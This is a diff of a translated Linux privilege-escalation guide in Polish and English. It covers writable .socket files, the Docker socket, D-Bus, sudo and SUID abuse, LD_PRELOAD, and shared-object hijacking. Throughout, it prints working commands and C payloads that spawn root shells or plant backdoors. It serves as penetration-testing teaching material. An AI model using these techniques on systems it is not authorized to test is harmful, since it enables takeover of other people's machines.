+Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. Sockets can be configured using `.socket` files. -**Dowiedz się więcej o sockets za pomocą `man systemd.socket`.** Wewnątrz tego pliku można skonfigurować kilka interesujących parametrów: +**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Te opcje różnią się, ale w skrócie służą do **wskazania, gdzie będzie nasłuchiwany** socket (ścieżka pliku gniazda AF_UNIX, numer IPv4/6 i/lub port do nasłuchu itp.) -- `Accept`: Przyjmuje argument typu boolean. Jeśli **true**, dla każdego przychodzącego połączenia tworzona jest **instancja serwisu** i tylko gniazdo połączenia jest do niej przekazywane. Jeśli **false**, wszystkie nasłuchujące gniazda są **przekazywane do uruchomionej jednostki serwisu**, i tworzona jest tylko jedna jednostka serwisu dla wszystkich połączeń. Ta wartość jest ignorowana dla datagramów i FIFO, gdzie jedna jednostka serwisu bezwarunkowo obsługuje cały przychodzący ruch. **Domyślnie false**. Ze względów wydajnościowych zaleca się pisanie nowych daemonów w sposób zgodny z `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Przyjmują jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** utworzeniu i powiązaniu nasłuchujących **gniazd**/FIFO, odpowiednio. Pierwszy token linii poleceń musi być ścieżką bezwzględną do pliku wykonywalnego, po którym następują argumenty procesu. -- `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** zamknięciu i usunięciu nasłuchujących **gniazd**/FIFO, odpowiednio. -- `Service`: Określa nazwę jednostki **service**, którą należy **aktywować** przy **przychodzącym ruchu**. To ustawienie jest dozwolone tylko dla gniazd z Accept=no. Domyślnie wskazuje serwis o tej samej nazwie co socket (z zastąpionym sufiksem). W większości przypadków nie jest konieczne używanie tej opcji. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) +- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. +- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. +- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. -### Zapisywalne pliki .socket +### Writable .socket files -Jeśli znajdziesz **zapisywalny** plik `.socket`, możesz **dodać** na początku sekcji `[Socket]` coś w stylu: `ExecStartPre=/home/kali/sys/backdoor` i backdoor zostanie uruchomiony przed utworzeniem socketu. W związku z tym **prawdopodobnie będziesz musiał poczekać na ponowne uruchomienie maszyny.**\ +If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ _Note that the system must be using that socket file configuration or the backdoor won't be executed_ -### Zapisywalne gniazda +### Writable sockets -Jeśli **zidentyfikujesz jakiekolwiek zapisywalne gniazdo** (_tu mówimy o Unix Sockets, a nie o plikach konfiguracyjnych `.socket`_), to **możesz komunikować się** z tym gniazdem i ewentualnie wykorzystać podatność. +If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. -### Enumeracja Unix Sockets +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -485,28 +507,28 @@ socket-command-injection.md ### HTTP sockets -Zwróć uwagę, że mogą istnieć **sockets nasłuchujące żądań HTTP** (_Nie mam na myśli .socket files, lecz pliki działające jako unix sockets_). Możesz to sprawdzić za pomocą: +Zauważ, że może istnieć kilka **sockets listening for HTTP** requests (_nie mam na myśli .socket files, a pliki działające jako unix sockets_). Możesz to sprawdzić za pomocą: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Jeśli socket **odpowiada na żądanie HTTP**, to możesz **komunikować się** z nim i być może **wykorzystać jakąś podatność**. +Jeśli socket **odpowiada na żądanie HTTP**, możesz **komunikować się** z nim i być może **wykorzystać jakąś podatność**. -### Zapisywalny Docker Socket +### Zapisalny socket Dockera -Docker socket, często znajdujący się w `/var/run/docker.sock`, to krytyczny plik, który powinien być zabezpieczony. Domyślnie jest on zapisywalny przez użytkownika `root` i członków grupy `docker`. Posiadanie dostępu do zapisu do tego socketu może prowadzić do eskalacji uprawnień. Poniżej znajduje się przegląd, jak można to zrobić oraz alternatywne metody, jeśli Docker CLI nie jest dostępne. +Socket Dockera, często znajdujący się pod `/var/run/docker.sock`, to krytyczny plik, który powinien być zabezpieczony. Domyślnie jest zapisywalny przez użytkownika `root` oraz członków grupy `docker`. Posiadanie dostępu zapisu do tego socketu może prowadzić do privilege escalation. Poniżej znajduje się opis, jak można to zrobić oraz alternatywne metody, jeśli Docker CLI nie jest dostępne. -#### **Eskalacja uprawnień z użyciem Docker CLI** +#### **Privilege Escalation with Docker CLI** -Jeśli masz dostęp zapisowy do Docker socket, możesz eskalować uprawnienia używając następujących poleceń: +Jeśli masz dostęp zapisu do socketu Dockera, możesz użyć następujących poleceń, aby escalate privileges: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Te polecenia pozwalają uruchomić kontener z uprawnieniami roota do systemu plików hosta. +Te polecenia pozwalają uruchomić kontener z dostępem root do systemu plików hosta. #### **Using Docker API Directly** -W przypadkach, gdy Docker CLI nie jest dostępne, Docker socket można nadal obsługiwać przy użyciu Docker API i poleceń `curl`. +W przypadkach, gdy Docker CLI nie jest dostępny, Docker socket nadal można manipulować przy użyciu Docker API i poleceń `curl`. 1. **List Docker Images:** Pobierz listę dostępnych obrazów. @@ -514,13 +536,13 @@ W przypadkach, gdy Docker CLI nie jest dostępne, Docker socket można nadal obs curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Wyślij żądanie utworzenia kontenera, który montuje katalog root systemu hosta. +2. **Create a Container:** Wyślij żądanie utworzenia kontenera, które montuje katalog root systemu hosta. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Uruchom nowo utworzony kontener: +Start the newly created container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start @@ -536,13 +558,13 @@ Connection: Upgrade Upgrade: tcp ``` -Po ustanowieniu połączenia za pomocą `socat` możesz wykonywać polecenia bezpośrednio w kontenerze z uprawnieniami roota do systemu plików hosta. +Po skonfigurowaniu połączenia `socat` możesz wykonywać polecenia bezpośrednio w kontenerze z uprawnieniami root i dostępem do systemu plików hosta. ### Others -Zauważ, że jeśli masz uprawnienia do zapisu do docker socket, ponieważ jesteś **inside the group `docker`** masz [**więcej sposobów na eskalację uprawnień**](interesting-groups-linux-pe/index.html#docker-group). Jeśli [**docker API nasłuchuje na porcie** możesz też być w stanie je przejąć](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Zauważ, że jeśli masz uprawnienia zapisu do Docker socket ponieważ jesteś **inside the group `docker`** masz [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Jeżeli {#ref}../../network-services-pentesting/2375-pentesting-docker.md#compromising{#endref} -Sprawdź **więcej sposobów na ucieczkę z docker lub nadużycie go w celu eskalacji uprawnień** w: +Check **more ways to break out from docker or abuse it to escalate privileges** in: {{#ref}} @@ -551,7 +573,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Jeśli odkryjesz, że możesz użyć polecenia **`ctr`**, przeczytaj następującą stronę, ponieważ **możesz być w stanie nadużyć go do eskalacji uprawnień**: +Jeśli możesz użyć polecenia **`ctr`**, przeczytaj następującą stronę — **możesz być w stanie nadużyć go do eskalacji uprawnień**: {{#ref}} @@ -560,7 +582,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Jeśli odkryjesz, że możesz użyć polecenia **`runc`**, przeczytaj następującą stronę, ponieważ **możesz być w stanie nadużyć go do eskalacji uprawnień**: +Jeśli możesz użyć polecenia **`runc`**, przeczytaj następującą stronę — **możesz być w stanie nadużyć go do eskalacji uprawnień**: {{#ref}} @@ -569,15 +591,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus to zaawansowany system **inter-Process Communication (IPC)**, który umożliwia aplikacjom efektywną współpracę i wymianę danych. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidne ramy dla różnych form komunikacji między aplikacjami. +D-Bus to zaawansowany system komunikacji międzyprocesowej (inter-Process Communication, IPC), który umożliwia aplikacjom wydajną współpracę i wymianę danych. Zaprojektowany z myślą o nowoczesnych systemach Linux, oferuje solidne ramy dla różnych form komunikacji między aplikacjami. -System jest wszechstronny, wspierając podstawowe IPC, które usprawnia wymianę danych między procesami, przypominając **rozszerzone UNIX domain sockets**. Ponadto pomaga w rozgłaszaniu zdarzeń lub sygnałów, ułatwiając integrację komponentów systemowych. Na przykład sygnał od demona Bluetooth o przychodzącym połączeniu może spowodować, że odtwarzacz muzyki wyciszy dźwięk, poprawiając doświadczenie użytkownika. Dodatkowo D-Bus wspiera zdalny system obiektów, upraszczając żądania usług i wywołania metod między aplikacjami, upraszczając procesy, które tradycyjnie były skomplikowane. +System jest wszechstronny — obsługuje podstawową IPC, która ułatwia wymianę danych między procesami, przypominając ulepszone UNIX domain sockets. Ponadto ułatwia rozgłaszanie zdarzeń lub sygnałów, wspierając płynną integrację między komponentami systemu. Na przykład sygnał od demona Bluetooth o przychodzącym połączeniu może spowodować wyciszenie odtwarzacza muzyki, poprawiając doświadczenie użytkownika. Dodatkowo D-Bus obsługuje system zdalnych obiektów, upraszczając żądania usług i wywołania metod między aplikacjami, upraszczając procesy, które tradycyjnie były bardziej złożone. -D-Bus działa na modelu **allow/deny**, zarządzając uprawnieniami wiadomości (wywołania metod, emisje sygnałów itp.) na podstawie skumulowanego działania dopasowujących się reguł polityki. Te polityki określają interakcje z busem, co potencjalnie może prowadzić do eskalacji uprawnień poprzez wykorzystanie tych uprawnień. +D-Bus działa w modelu allow/deny, zarządzając uprawnieniami do przesyłania wiadomości (wywołań metod, emisji sygnałów itp.) na podstawie kumulatywnego efektu pasujących reguł polityki. Te polityki określają interakcje z busy i mogą potencjalnie prowadzić do eskalacji uprawnień poprzez wykorzystanie przyznanych uprawnień. -Przykład takiej polityki w /etc/dbus-1/system.d/wpa_supplicant.conf pokazuje uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości od fi.w1.wpa_supplicant1. +Przykład takiej polityki znajduje się w `/etc/dbus-1/system.d/wpa_supplicant.conf` i pokazuje uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości od `fi.w1.wpa_supplicant1`. -Polityki bez określonego użytkownika lub grupy stosują się uniwersalnie, natomiast polityki w kontekście "default" dotyczą wszystkich, którzy nie są objęci przez inne bardziej specyficzne polityki. +Polityki bez określonego użytkownika lub grupy mają zastosowanie uniwersalnie, podczas gdy polityki w kontekście "default" odnoszą się do wszystkich, którzy nie są objęci innymi, bardziej specyficznymi politykami. ```xml @@ -586,7 +608,7 @@ Polityki bez określonego użytkownika lub grupy stosują się uniwersalnie, nat ``` -**Dowiedz się, jak enumerować i wykorzystać komunikację D-Bus tutaj:** +**Dowiedz się, jak enumerate i exploit komunikację D-Bus tutaj:** {{#ref}} @@ -595,9 +617,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Sieć** -Warto przeprowadzić enumerację sieci i ustalić pozycję maszyny. +Zawsze warto enumerate sieć i ustalić pozycję maszyny. -### Ogólna enumeracja +### Ogólna enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -622,22 +644,22 @@ lsof -i ``` ### Otwarte porty -Zawsze sprawdzaj usługi sieciowe działające na maszynie, z którymi nie mogłeś wchodzić w interakcję przed uzyskaniem do niej dostępu: +Zawsze sprawdź usługi sieciowe działające na maszynie, z którymi nie mogłeś wejść w interakcję przed uzyskaniem do niej dostępu: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Sprawdź, czy możesz sniff traffic. Jeśli tak, możesz przechwycić jakieś poświadczenia. +Sprawdź, czy możesz sniff traffic. Jeśli tak, możesz być w stanie przechwycić niektóre credentials. ``` timeout 1 tcpdump ``` -## Users +## Użytkownicy ### Generic Enumeration -Sprawdź, kim jesteś, jakie masz **privileges**, jacy **users** są w systemie, którzy mogą wykonać **login** i którzy mają **root privileges**: +Sprawdź, kim jesteś (**who**), jakie masz **privileges**, którzy **users** są w systemie, którzy mogą wykonać **login** i którzy mają **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -661,12 +683,12 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -Niektóre wersje Linuxa były podatne na błąd, który pozwala użytkownikom z **UID > INT_MAX** na eskalację uprawnień. Więcej informacji: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Niektóre wersje Linuksa były podatne na błąd, który pozwala użytkownikom z **UID > INT_MAX** na podniesienie uprawnień. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** ### Grupy -Sprawdź, czy jesteś **członkiem jakiejś grupy**, która mogłaby przyznać ci uprawnienia roota: +Sprawdź, czy jesteś **członkiem jakiejś grupy**, która mogłaby przyznać ci uprawnienia root: {{#ref}} @@ -690,20 +712,20 @@ fi ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### Known passwords +### Znane hasła Jeśli **znasz jakiekolwiek hasło** w środowisku **spróbuj zalogować się jako każdy użytkownik** używając tego hasła. ### Su Brute -Jeśli nie przeszkadza Ci generowanie dużego hałasu i na komputerze dostępne są binaria `su` i `timeout`, możesz spróbować przeprowadzić brute-force na koncie użytkownika przy użyciu [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) z parametrem `-a` również próbuje przeprowadzić brute-force na użytkownikach. +Jeśli nie przeszkadza ci generowanie dużego hałasu i binarki `su` i `timeout` są obecne na komputerze, możesz spróbować przełamać hasła użytkowników używając [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) z parametrem `-a` również próbuje przełamać hasła użytkowników. -## Nadużycia zapisywalnego PATH +## Nadużycia zapisu w $PATH ### $PATH -Jeśli odkryjesz, że możesz **zapisać do jakiegoś katalogu z $PATH** możesz być w stanie eskalować uprawnienia przez **utworzenie backdoora w zapisywalnym katalogu** o nazwie polecenia, które zostanie uruchomione przez innego użytkownika (najlepiej root) i które **nie jest ładowane z katalogu znajdującego się wcześniej** w $PATH. +Jeśli odkryjesz, że możesz **zapisować w którymś z folderów znajdujących się w $PATH**, możesz być w stanie eskalować uprawnienia poprzez **utworzenie backdoora w zapisywalnym folderze** o nazwie jakiegoś polecenia, które zostanie wykonane przez innego użytkownika (najlepiej root) i które **nie jest ładowane z folderu znajdującego się wcześniej** niż twój zapisywalny folder w $PATH. ### SUDO and SUID @@ -712,7 +734,7 @@ Możesz mieć pozwolenie na uruchomienie pewnego polecenia przy użyciu sudo lub sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Niektóre **nieoczekiwane polecenia pozwalają odczytać i/lub zapisać pliki, a nawet wykonać polecenie.** Na przykład: +Niektóre **nieoczekiwane polecenia pozwalają na odczyt i/lub zapis plików, a nawet wykonanie polecenia.** Na przykład: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -723,31 +745,31 @@ less>! ``` ### NOPASSWD -Konfiguracja Sudo może pozwolić użytkownikowi uruchomić pewne polecenie z uprawnieniami innego użytkownika bez znajomości hasła. +Konfiguracja sudo może pozwolić użytkownikowi na uruchomienie pewnego polecenia z uprawnieniami innego użytkownika bez znajomości hasła. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -W tym przykładzie użytkownik `demo` może uruchamiać `vim` jako `root`; teraz uzyskanie powłoki jest trywialne przez dodanie ssh key do katalogu `root` lub przez wywołanie `sh`. +W tym przykładzie użytkownik `demo` może uruchomić `vim` jako `root`; teraz łatwo otrzymać shell, dodając klucz ssh do katalogu root lub wywołując `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Ta dyrektywa pozwala użytkownikowi **ustawić zmienną środowiskową** podczas wykonywania czegoś: +Ta dyrektywa pozwala użytkownikowi **ustawić zmienną środowiskową** podczas wykonywania polecenia: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Ten przykład, **oparty na HTB machine Admirer**, był **podatny** na **PYTHONPATH hijacking**, umożliwiając załadowanie dowolnej biblioteki python podczas uruchamiania skryptu jako root: +Ten przykład, **based on HTB machine Admirer**, był **podatny** na **PYTHONPATH hijacking**, co pozwalało na załadowanie dowolnej python library podczas uruchamiania skryptu jako root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Ścieżki omijające wykonywanie sudo +### Sudo — omijanie ścieżek wykonania -**Przejdź** aby przeczytać inne pliki lub użyć **symlinks**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Przejdź**, aby odczytać inne pliki lub użyj **symlinks**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -757,46 +779,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Jeśli użyty zostanie **wildcard** (\*), jest to jeszcze łatwiejsze: +Jeśli użyty jest **wildcard** (\*), to jest jeszcze łatwiejsze: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Środki zaradcze**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary bez podanej ścieżki +### Sudo command/SUID binary bez ścieżki do polecenia -Jeśli **sudo permission** jest przyznane pojedynczemu poleceniu **bez określenia ścieżki**: _hacker10 ALL= (root) less_ możesz to wykorzystać, zmieniając zmienną PATH. +Jeśli uprawnienie **sudo** jest przyznane do pojedynczego polecenia **bez podania ścieżki**: _hacker10 ALL= (root) less_ możesz to wykorzystać, zmieniając zmienną PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Ta technika może być także użyta, jeśli binarka **suid** **uruchamia inne polecenie bez podania ścieżki do niego (zawsze sprawdź za pomocą** _**strings**_ **zawartość dziwnej binarki SUID)**. +Ta technika może być również użyta, jeśli binarny plik **suid** **wykonuje inne polecenie bez określenia ścieżki do niego (zawsze sprawdź za pomocą** _**strings**_ **zawartość dziwnego pliku SUID)**. [Payload examples to execute.](payloads-to-execute.md) -### Binarka SUID z podaną ścieżką do polecenia +### SUID binary z określoną ścieżką do polecenia -Jeśli binarka **suid** **uruchamia inne polecenie, podając ścieżkę**, to możesz spróbować **wyeksportować funkcję** nazwaną tak jak polecenie, które wywołuje plik suid. +Jeśli binarny plik **suid** **wywołuje inne polecenie, podając ścieżkę**, możesz spróbować **export a function** o nazwie odpowiadającej poleceniu wywoływanemu przez plik suid. -Na przykład, jeśli binarka suid wywołuje _**/usr/sbin/service apache2 start**_ musisz spróbować stworzyć funkcję i ją wyeksportować: +Na przykład, jeśli suid binary wywołuje _**/usr/sbin/service apache2 start**_, musisz spróbować utworzyć funkcję i wyeksportować ją: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Następnie, gdy wywołasz plik binarny z suid, ta funkcja zostanie wykonana +Następnie, gdy wywołasz plik binarny suid, ta funkcja zostanie wykonana ### LD_PRELOAD & **LD_LIBRARY_PATH** -Zmienna środowiskowa **LD_PRELOAD** służy do wskazania jednej lub kilku bibliotek współdzielonych (.so files) ładowanych przez loader przed wszystkimi innymi, w tym standardową biblioteką C (`libc.so`). Ten proces znany jest jako preloading biblioteki. +Zmienna środowiskowa **LD_PRELOAD** służy do wskazania jednej lub więcej bibliotek współdzielonych (.so files), które mają być załadowane przez loader przed wszystkimi innymi, w tym przed standardową biblioteką C (`libc.so`). Ten proces nazywa się wstępnym ładowaniem biblioteki. -Jednakże, aby utrzymać bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji — szczególnie w przypadku plików wykonywalnych **suid/sgid** — system wymusza pewne warunki: +Jednak aby zachować bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji, szczególnie w przypadku wykonywalnych plików **suid/sgid**, system wymusza pewne warunki: -- Loader ignoruje **LD_PRELOAD** dla plików wykonywalnych, gdzie real user ID (_ruid_) nie zgadza się z effective user ID (_euid_). -- Dla plików wykonywalnych ze statusem suid/sgid, wstępnie ładowane są tylko biblioteki znajdujące się w standardowych ścieżkach, które również mają suid/sgid. +- Loader ignoruje **LD_PRELOAD** dla plików wykonywalnych, w których realny identyfikator użytkownika (_ruid_) nie zgadza się z efektywnym identyfikatorem użytkownika (_euid_). +- Dla plików wykonywalnych z suid/sgid, jedynie biblioteki w standardowych ścieżkach, które również mają suid/sgid, są wstępnie ładowane. -Privilege escalation może wystąpić, jeśli masz możliwość uruchamiania poleceń z `sudo` i wynik `sudo -l` zawiera wpis **env_keep+=LD_PRELOAD**. Taka konfiguracja pozwala zmiennej środowiskowej **LD_PRELOAD** zachować się i być rozpoznawaną nawet gdy polecenia są uruchamiane z `sudo`, co potencjalnie prowadzi do wykonania dowolnego kodu z podwyższonymi uprawnieniami. +Do eskalacji uprawnień może dojść, jeśli masz możliwość wykonywania poleceń z `sudo` i wynik `sudo -l` zawiera frazę **env_keep+=LD_PRELOAD**. Taka konfiguracja pozwala, aby zmienna środowiskowa **LD_PRELOAD** przetrwała i była rozpoznawana nawet podczas uruchamiania poleceń z `sudo`, co potencjalnie może prowadzić do wykonania dowolnego kodu z podwyższonymi uprawnieniami. ``` Defaults env_keep += LD_PRELOAD ``` @@ -823,7 +845,7 @@ Na koniec, **escalate privileges** uruchamiając sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Podobny privesc można wykorzystać, jeśli atakujący kontroluje zmienną środowiskową **LD_LIBRARY_PATH**, ponieważ wówczas kontroluje ścieżkę, w której będą wyszukiwane biblioteki. +> Podobny privesc może być wykorzystany, jeśli atakujący kontroluje zmienną środowiskową **LD_LIBRARY_PATH**, ponieważ kontroluje ścieżkę, w której będą wyszukiwane biblioteki. ```c #include #include @@ -845,13 +867,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Gdy natrafisz na plik binarny z uprawnieniami **SUID**, który wydaje się nietypowy, dobrą praktyką jest sprawdzenie, czy poprawnie ładuje pliki **.so**. Można to sprawdzić, uruchamiając następujące polecenie: +Gdy natrafisz na plik wykonywalny z uprawnieniami **SUID**, który wydaje się nietypowy, warto sprawdzić, czy poprawnie ładuje pliki **.so**. Można to sprawdzić, uruchamiając następujące polecenie: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Na przykład, napotkanie błędu takiego jak _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugeruje potencjalną możliwość eksploatacji. +Na przykład, napotkanie błędu takiego jak _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugeruje możliwość wykorzystania. -Aby to wykorzystać, należy utworzyć plik C, np. _"/path/to/.config/libcalc.c"_, zawierający następujący kod: +Aby to wykorzystać, należy utworzyć plik C, na przykład _"/path/to/.config/libcalc.c"_, zawierający następujący kod: ```c #include #include @@ -862,13 +884,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Ten kod, po skompilowaniu i uruchomieniu, ma na celu eskalację uprawnień poprzez manipulację uprawnieniami plików i uruchomienie shella z podwyższonymi uprawnieniami. +Ten kod, po skompilowaniu i uruchomieniu, ma na celu uzyskanie podwyższonych uprawnień poprzez manipulowanie uprawnieniami plików i uruchomienie powłoki z podwyższonymi uprawnieniami. Skompiluj powyższy plik C do biblioteki współdzielonej (.so) za pomocą: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -W końcu uruchomienie dotkniętego SUID binary powinno wywołać exploit, pozwalając na potencjalne przejęcie systemu. +Na koniec, uruchomienie dotkniętego SUID binary powinno wywołać exploit, umożliwiając potencjalne przejęcie systemu. ## Shared Object Hijacking ```bash @@ -880,7 +902,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Teraz, gdy znaleźliśmy SUID binary, który ładuje bibliotekę z katalogu, do którego możemy zapisywać, stwórzmy bibliotekę w tym katalogu o wymaganej nazwie: +Teraz, gdy znaleźliśmy SUID binary, który ładuje library z folderu, do którego możemy zapisywać, utwórzmy library w tym folderze o odpowiedniej nazwie: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -897,13 +919,13 @@ Jeśli otrzymasz błąd taki jak ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -to oznacza, że biblioteka, którą wygenerowałeś, musi mieć funkcję nazwaną `a_function_name`. +to oznacza, że biblioteka, którą wygenerowałeś, musi zawierać funkcję nazwaną `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) to kuratorowana lista binarek Uniksa, które mogą być wykorzystane przez atakującego do obejścia lokalnych ograniczeń bezpieczeństwa. [**GTFOArgs**](https://gtfoargs.github.io/) jest tym samym, ale w przypadkach, gdy możesz **tylko wstrzykiwać argumenty** w polecenie. +[**GTFOBins**](https://gtfobins.github.io) jest kuratowaną listą binarek Unix, które mogą zostać wykorzystane przez atakującego do obejścia lokalnych ograniczeń bezpieczeństwa. [**GTFOArgs**](https://gtfoargs.github.io/) działa w podobny sposób, ale dla przypadków, gdy możesz **only inject arguments** w polecenie. -Projekt zbiera legalne funkcje binarek Uniksa, które mogą być nadużyte do wydostania się z ograniczonych shelli, eskalacji lub utrzymania podwyższonych uprawnień, transferu plików, uruchamiania bind i reverse shells oraz ułatwiania innych zadań post-exploitation. +Projekt zbiera legalne funkcje binarek Unix, które można nadużyć, aby wydostać się z restricted shells, eskalować lub utrzymać elevated privileges, transferować pliki, uruchamiać bind i reverse shells oraz ułatwiać inne post-exploitation zadania. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -922,56 +944,55 @@ https://gtfoargs.github.io/ ### FallOfSudo -Jeśli masz dostęp do `sudo -l`, możesz użyć narzędzia [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aby sprawdzić, czy znajdzie sposób na wykorzystanie dowolnej reguły sudo. +Jeśli możesz uruchomić `sudo -l` możesz użyć narzędzia [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aby sprawdzić, czy znajdzie sposób na wykorzystanie którejkolwiek reguły sudo. ### Reusing Sudo Tokens -W przypadkach, gdy masz **sudo access** ale nie znasz hasła, możesz eskalować uprawnienia przez **oczekiwanie na wykonanie polecenia sudo, a następnie przejęcie tokena sesji**. +W przypadkach, gdy masz **sudo access** ale nie znasz hasła, możesz eskalować uprawnienia poprzez **oczekiwanie na wykonanie polecenia sudo, a następnie przejęcie session token**. Wymagania do eskalacji uprawnień: - Masz już shell jako użytkownik "_sampleuser_" -- "_sampleuser_" **użył `sudo`** do wykonania czegoś **w ciągu ostatnich 15 minut** (domyślnie to czas trwania tokena sudo, który pozwala nam używać `sudo` bez podawania hasła) -- `cat /proc/sys/kernel/yama/ptrace_scope` ma wartość 0 -- `gdb` jest dostępny (możesz go przesłać) +- "_sampleuser_" have **used `sudo`** 